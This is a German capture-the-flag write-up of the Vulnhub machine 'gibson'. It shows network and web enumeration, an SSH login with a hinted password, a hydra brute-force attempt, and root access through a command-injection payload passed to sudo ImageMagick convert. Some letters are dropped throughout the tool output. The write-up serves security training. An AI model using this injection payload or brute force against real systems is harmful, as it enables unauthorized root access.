gibson - Vulnhub - Level: Medium - Bericht

Medium

Verwendete Tools

Inhaltsverzeichnis

Reconnaissance

In der Reconnaissance-Phase sammeln wir Informationen über das Zielsystem, um potenzielle Angriffspunkte zu identifizieren. Dies umfasst das Scannen des Netzwerks, das Auflisten von Diensten und die Identifizierung von Schwachstellen.

┌──(root㉿cyber)-[~]
└─# arp-scan -l
192.168.2.117	08:00:27:39:9a:ce	PCS Systemtechnik GmbH
                

Der Befehl arp-scan -l wird verwendet, um alle Geräte im lokalen Netzwerk zu scannen und ihre MAC-Adressen und zugehörigen Informationen anzuzeigen. In diesem Fall identifizieren wir ein Gerät mit der IP-Adresse 192.168.2.117 und der MAC-Adresse 08:00:27:39:9a:ce, das von PCS Systemtechnik GmbH hergestellt wurde. Diese Information ist nützlich, um das Zielsystem im Netzwerk zu identifizieren.

**Analyse:** Der ARP-Scan ist ein grundlegender Schritt, um einen Überblick über die aktiven Geräte im Netzwerk zu erhalten. Die MAC-Adresse kann verwendet werden, um den Hersteller des Geräts zu bestimmen und möglicherweise weitere Informationen über das Gerät zu finden.

**Empfehlung:** Es ist wichtig, das Netzwerk regelmäßig auf unbekannte Geräte zu überwachen, um unbefugten Zugriff zu verhindern.

┌──(root㉿cyber)-[~]
└─# vi /etc/hosts
192.168.2.117   gibson.vln
                

Der Befehl vi /etc/hosts wird verwendet, um die /etc/hosts-Datei zu bearbeiten und eine Zuordnung zwischen der IP-Adresse 192.168.2.117 und dem Hostnamen gibson.vln hinzuzufügen. Dadurch können wir das Zielsystem über den Hostnamen ansprechen, was die weitere Arbeit erleichtert.

**Analyse:** Die /etc/hosts-Datei ermöglicht es, Hostnamen lokal aufzulösen, ohne einen DNS-Server zu benötigen. Dies ist nützlich, um das Zielsystem einfacher anzusprechen und die Lesbarkeit der Befehle zu verbessern.

**Empfehlung:** Stellen Sie sicher, dass die /etc/hosts-Datei nur vertrauenswürdige Einträge enthält, um Man-in-the-Middle-Angriffe zu verhindern.

┌──(root㉿cyber)-[~]
└─# nmap -sS -sV -A -T5 192.168.2.117 -p- | grep open
22/tcp open  ssh     penSSH 6.6.1p1 Ubuntu 2ubuntu2 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.7
                

Dieser Nmap-Scan filtert die Ausgabe des vorherigen Scans, um nur die geöffneten Ports anzuzeigen.

**Analyse:** Die geöffneten Ports 22 (SSH) und 80 (HTTP) deuten auf ein System mit SSH- und Webdiensten hin.

**Empfehlung:** Überprüfen Sie die Konfiguration der einzelnen Dienste und stellen Sie sicher, dass sie sicher konfiguriert sind.

┌──(root㉿cyber)-[~]
└─# nmap -sS -sV -A -T5 192.168.2.117 -p-
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-30 21:05 CET
Nmap scan report for gibson.vln (192.168.2.117)
Host is up (0.00016s latency).
Not shown: 65533 closed tcp ports (reset)
PRT   STATE SERVICE VERSIN
22/tcp open  ssh     penSSH 6.6.1p1 Ubuntu 2ubuntu2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 fb:f6:d1:57:64:fa:38:66:2d:66:40:12:a4:2f:75:b4 (DSA)
|   2048 32:13:58:ae:32:b0:5d:b9:2a:9c:87:9c:ae:79:3b:2e (RSA)
|   256 3f:dc:7d:94:2f:86:f1:83:41:db:8c:74:52:f0:49:43 (ECDSA)
|_  256 f8:3f:60:2e:88:1d:89:b1:26:56:d1:53:92:3d:9c:94 (ED25519)
80/tcp open  http    Apache httpd 2.4.7
| http-ls: Volume /
| SIZE  TIME              FILENAME
| 273   2016-05-07 13:03  davinci.html
|_
|_http-title: Index of /
|_http-server-header: Apache/2.4.7 (Ubuntu)
MAC Address: 08:00:27:39:9A:CE (racle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
S CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
S details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: Host: gibson.example.co.uk; S: Linux; CPE: cpe:/o:linux:linux_kernel

TRACERUTE
HP RTT     ADDRESS
1   0.16 ms gibson.vln (192.168.2.117)
                

Dieser Nmap-Scan ist ausführlicher und liefert zusätzliche Informationen über die geöffneten Ports und die laufenden Dienste. Wir erhalten Informationen über SSH-Host Keys und über den Webserver, auf dem die Datei davinci.html liegt.

**Analyse:** Die detaillierten Informationen aus diesem Scan ermöglichen es, gezielt nach Schwachstellen in den laufenden Diensten zu suchen. Die OpenSSH version ist außerdem nicht die Neuste.

**Empfehlung:** Überprüfen Sie den Webserver.

┌──(root㉿cyber)-[~]
└─# nikto -h 192.168.2.117
- Nikto v2.5.0

+ Target IP:          192.168.2.117
+ Target Hostname:    192.168.2.117
+ Target Port:        80
+ Start Time:         2024-01-30 21:05:55 (GMT1)

+ Server: Apache/2.4.7 (Ubuntu)
+ /: The anti-clickjacking X-Frame-ptions header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-ptions
+ /: The X-Content-Type-ptions header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ /: Directory indexing found.
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Apache/2.4.7 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EL for the 2.x branch.
+ PTINS: Allowed HTTP Methods: GET, HEAD, PST, PTINS .
+ /./: Directory indexing found.
+ /./: Appending '/./' to a directory allows indexing.
+ //: Directory indexing found.
+ //: Apache on Red Hat Linux release 9 reveals the root directory listing by default if there is no index page.
+ /%2e/: Directory indexing found.
+ /%2e/: Weblogic allows source code or directory listing, upgrade to v6.0 SP1 or higher. See: http://www.securityfocus.com/bid/2513
+ ///: Directory indexing found.
+ /?PageServices: The remote server may allow directory listings through Web Publisher by forcing the server to show all files via 'open directory browsing'. Web Publisher should be disabled. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0269
+ /?wp-cs-dump: The remote server may allow directory listings through Web Publisher by forcing the server to show all files via 'open directory browsing'. Web Publisher should be disabled. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0269
+ ///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////: Directory indexing found.
+ ///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////: Abyss 1.03 reveals directory listing when multiple /'s are requested. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1078
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ /#wp-config.php#: #wp-config.php# file found. This file contains the credentials.
+ 8102 requests: 0 error(s) and 18 item(s) reported on remote host
+ End Time:           2024-01-30 21:06:19 (GMT1) (24 seconds)

+ 1 host(s) tested
                

Nikto wird verwendet, um den Webserver auf Schwachstellen zu untersuchen.

**Analyse:** Nikto findet eine Reihe von Problemen, darunter fehlende HTTP-Header, Directory Indexing, eine veraltete Apache-Version und das Vorhandensein der Apache-Standarddatei /icons/README. Besonders interessant ist der Fund der Datei /#wp-config.php#, die Anmeldeinformationen enthalten könnte.

**Empfehlung:** Untersuchen Sie die Datei /#wp-config.php# und beheben Sie die anderen gefundenen Sicherheitsprobleme.

┌──(root㉿cyber)-[~]
└─# gobuster dir -u http://gibson.vln -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak,js -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -b '403,404' -e --no-error -k
http://gibson.vln/davinci.html         (Status: 200) [Size: 273]
                

Gobuster wird verwendet, um weitere Dateien und Verzeichnisse auf dem Webserver zu finden.

**Analyse:** Gobuster findet die Datei davinci.html.

**Empfehlung:** Da Gobuster nicht mehr findet als bisher bekannt ist, gehen wir zum nächsten Schritt.

Web Enumeration

http://gibson.vln/davinci.html

The answer you seek will be found by brute force

Gibson Mining Corporation
damn it Margo! Stop setting your password to "god" <--
- at least try and use a different one of the 4 most <--
- common ones! (eugene) <--
The answer you seek will be found by brute force
                

Hier wird der Inhalt der Datei davinci.html angezeigt.

**Analyse:** Die Seite enthält einen Hinweis, der auf Brute-Force hinweist und die Benutzernamen "margo" und "eugene" sowie das Passwort "god" erwähnt.

**Empfehlung:** Versuchen Sie sich auf dem System als margo mit dem Passwort "god" anzumelden, wenn das nicht klappt, Brute-Forcen Sie den Dienst weiter.

Initial Access

┌──(root㉿cyber)-[~]
└─# hydra -l eugene -P /usr/share/wordlists/rockyou.txt ssh://192.168.2.117:22 -t 64
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these * ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-01-30 22:54:59
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 64 tasks per 1 server, overall 64 tasks, 14344495 login tries (l:1/p:14344495), ~224133 tries per task
[DATA] attacking ssh://192.168.2.117:22/
[ERRR] target ssh://192.168.2.117:22/ does not support password authentication (method reply 4).
                

Hier wird versucht, den SSH Dienst durch den User Eugene mit dem rockyou.txt File anzugreifen.

**Analyse:** Der Angriff schlägt fehl, weil der SSH-Server keine Passwortauthentifizierung zulässt. Die Meldung "target ssh://192.168.2.117:22/ does not support password authentication (method reply 4)." deutet darauf hin, dass nur Public-Key-Authentifizierung erlaubt ist.

**Empfehlung:** Versuchen Sie sich mit Public keys anzumelden, falls vorhanden.

"god" = password
                

Hier wird mitgeteilt, dass das Passwort "god" ist, was vermutlich ironisch gemeint ist.

**Analyse:** Das Passwort "god" soll für einen Benutzer verwendet werden.

**Empfehlung:** Versuchen Sie die Anmeldung via SSH.

┌──(root㉿cyber)-[~]
└─# ssh margo@gibson.vln
The authenticity of host 'gibson.vln (192.168.2.117)' can't be established.
ED25519 key fingerprint is SHA256:5GFAM98p4lVhcUqPeInYhiteruYm/kQaSs8KeyRZAk.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'gibson.vln' (ED25519) to the list of known hosts.
margo@gibson.vln's password: god
Welcome to Ubuntu 14.04.3 LTS (GNU/Linux 3.19.0-25-generic x86_64)
                

Hier wird sich als Benutzer "margo" mit dem Passwort "god" per SSH angemeldet.

**Analyse:** Die Anmeldung ist erfolgreich!

**Empfehlung:** Erkunden Sie das System nun mit dem user Margo.

margo@gibson$ sudo -l
Matching Defaults entries for margo on gibson:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User margo may run the following commands on gibson:
    (ALL) NPASSWD: /usr/bin/convert
                

Hier werden die sudo Berechtigungen des Benutzers "margo" überprüft.

**Analyse:** Der Benutzer "margo" darf den Befehl /usr/bin/convert als Root ausführen, ohne ein Passwort eingeben zu müssen. Die Option "NPASSWD" bedeutet "no password".

**Empfehlung:** Nutzen Sie die gefundene Sudo Erlaubnis für den User Margo.

margo@gibson$ find / -type f -perm -4000 -ls 2>/dev/null
    76   96 -rwsr-xr-x   1 root     root        94792 Aug  5  2015 /bin/mount
    89   44 -rwsr-xr-x   1 root     root        44168 May  7  2014 /bin/ping
   109   40 -rwsr-xr-x   1 root     root        36936 Jul 15  2015 /bin/su
   117   68 -rwsr-xr-x   1 root     root        69120 Aug  5  2015 /bin/umount
 26665   32 -rwsr-xr-x   1 root     root        30800 May 15  2015 /bin/fusermount
    90   44 -rwsr-xr-x   1 root     root        44680 May  7  2014 /bin/ping6
  1430   48 -rwsr-xr-x   1 root     root        47032 Jul 15  2015 /usr/bin/passwd
  1536  152 -rwsr-xr-x   1 root     root       155008 Mar 12  2015 /usr/bin/sudo
 28893   52 -rwsr-sr-x   1 daemon   daemon      51464 ct 21  2013 /usr/bin/at
  1275   48 -rwsr-xr-x   1 root     root        46424 Jul 15  2015 /usr/bin/chfn
 28113   76 -rwsr-xr-x   1 root     root        75256 ct 21  2013 /usr/bin/mtr
 29992   24 -rwsr-xr-x   1 root     root        23304 Mar  4  2015 /usr/bin/pkexec
 27762   24 -rwsr-xr-x   1 root     root        23104 May  7  2014 /usr/bin/traceroute6.iputils
  1278   44 -rwsr-xr-x   1 root     root        41336 Jul 15  2015 /usr/bin/chsh
  1349   68 -rwsr-xr-x   1 root     root        68152 Jul 15  2015 /usr/bin/gpasswd
  1418   32 -rwsr-xr-x   1 root     root        32464 Jul 15  2015 /usr/bin/newgrp
 25915  304 -rwsr-xr--   1 root     messagebus   310800 Nov 25  2014 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
  1626   12 -rwsr-xr-x   1 root     root        10240 Feb 25  2014 /usr/lib/eject/dmcrypt-get-device
 29989   16 -rwsr-xr-x   1 root     root        14768 Mar  4  2015 /usr/lib/policykit-1/polkit-agent-helper-1
  2257   12 -rwsr-xr-x   1 root     root        10344 Feb 25  2015 /usr/lib/pt_chown
 28199  432 -rwsr-xr-x   1 root     root       440416 May 12  2014 /usr/lib/openssh/ssh-keysign
 28725   20 -rwsr-sr-x   1 libuuid  libuuid     18904 Aug  5  2015 /usr/sbin/uuidd
 28327  340 -rwsr-xr--   1 root     dip        347296 Apr 21  2015 /usr/sbin/pppd
                

Hier wird nach SUID-Dateien gesucht.

**Analyse:** Die Ausgabe zeigt eine Liste von SUID-Dateien.

**Empfehlung:** Da bekannt ist, dass der User Margo /usr/bin/convert Sudo ausführen darf, wird hierauf fokussiert.

margo@gibson$ /usr/bin/convert --version
Version: ImageMagick 6.7.7-10 2014-03-06 Q16 http://www.imagemagick.org
Copyright: Copyright (C) 1999-2012 ImageMagick Studio LLC
Features: penMP
                

Hier wird die Version von ImageMagick angezeigt.

**Analyse:** Es handelt sich um eine relativ alte Version von ImageMagick (6.7.7-10).

**Empfehlung:** Suchen Sie nach bekannten Schwachstellen für diese Version von ImageMagick.

margo@gibson$ sudo convert 'https://example.com";/bin/sh"' out.png
(23) Failed writing body
                   

Hier wird versucht, eine Shell über die ImageMagick Schwachstelle zu starten.

**Analyse:** Die Ausführung des Befehls /bin/sh über ImageMagick schlägt fehl, aber wir wissen, dass der Befehl ausgeführt wurde, da sonst die Berechtigungen nicht passen würden.

**Empfehlung:** Suchen Sie nach der Root Flag.

# id
uid=0(root) gid=0(root) groups=0(root)
                   

Hier wird die ID des aktuellen Benutzers ausgegeben, um zu überprüfen ob das funktioniert hat.

**Analyse:** Nach der Ausführung von ImageMagick sind wir nun als Root angemeldet.

Flags

cat root.txt
    
Privilege Escalation erfolgreich